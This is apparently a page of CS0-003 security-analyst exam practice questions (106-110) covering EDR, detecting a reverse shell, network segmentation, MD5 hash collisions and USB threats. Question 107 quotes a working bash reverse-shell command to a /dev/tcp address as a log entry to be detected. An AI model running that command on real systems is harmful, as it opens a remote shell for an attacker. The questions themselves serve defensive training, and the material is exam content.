CS0-003 Practice Test

CS0-003 Practice Test practice questions, page 22 of 26, with answer review and explanations.

Question 106

A SOC analyst recommends adding a layer of defense for all endpoints that will better protect against external threats regardless of the device’s operating system. Which of the following best meets this requirement?

  1. SIEM
  2. CASB
  3. SOAR
  4. EDR

Question 107

A security analyst identified the following suspicious entry on the host-based IDS logs: bash -i >& /dev/tcp/10.1.2.3/8080 0>&1 Which of the following shell scripts should the analyst use to most accurately confirm if the activity is ongoing?

  1. #!/bin/bash nc 10.1.2.3 8080 -vv >dev/null && echo "Malicious activity" || echo "OK"
  2. #!/bin/bash ps -fea | grep 8080 >dev/null && echo "Malicious activity" || echo "OK"
  3. #!/bin/bash ls /opt/tcp/10.1.2.3/8080 >dev/null && echo "Malicious activity" || echo "OK"
  4. #!/bin/bash netstat -antp | grep 8080 >dev/null && echo "Malicious activity" || echo "OK"

Question 108

A company is concerned with finding sensitive file storage locations that are open to the public. The current internal cloud network is flat. Which of the following is the best solution to secure the network?

  1. Implement segmentation with ACLs.
  2. Configure logging and monitoring to the SIEM.
  3. Deploy MFA to cloud storage locations.
  4. Roll out an IDS.

Question 109

A security analyst is reviewing the findings of the latest vulnerability report for a company’s web application. The web application accepts files for a Bash script to be processed if the files match a given hash. The analyst is able to submit files to the system due to a hash collision. Which of the following should the analyst suggest to mitigate the vulnerability with the fewest changes to the current script and infrastructure?

  1. Deploy a WAF to the front of the application.
  2. Replace the current MD5 with SHA-256.
  3. Deploy an antivirus application on the hosting system.
  4. Replace the MD5 with digital signatures.

Question 110

A security analyst needs to mitigate a known, exploited vulnerability related to an attack vector that embeds software through the USB interface. Which of the following should the analyst do first?

  1. Conduct security awareness training on the risks of using unknown and unencrypted USBs.
  2. Write a removable media policy that explains that USBs cannot be connected to a company asset.
  3. Check configurations to determine whether USB ports are enabled on company assets.
  4. Review logs to see whether this exploitable vulnerability has already impacted the company.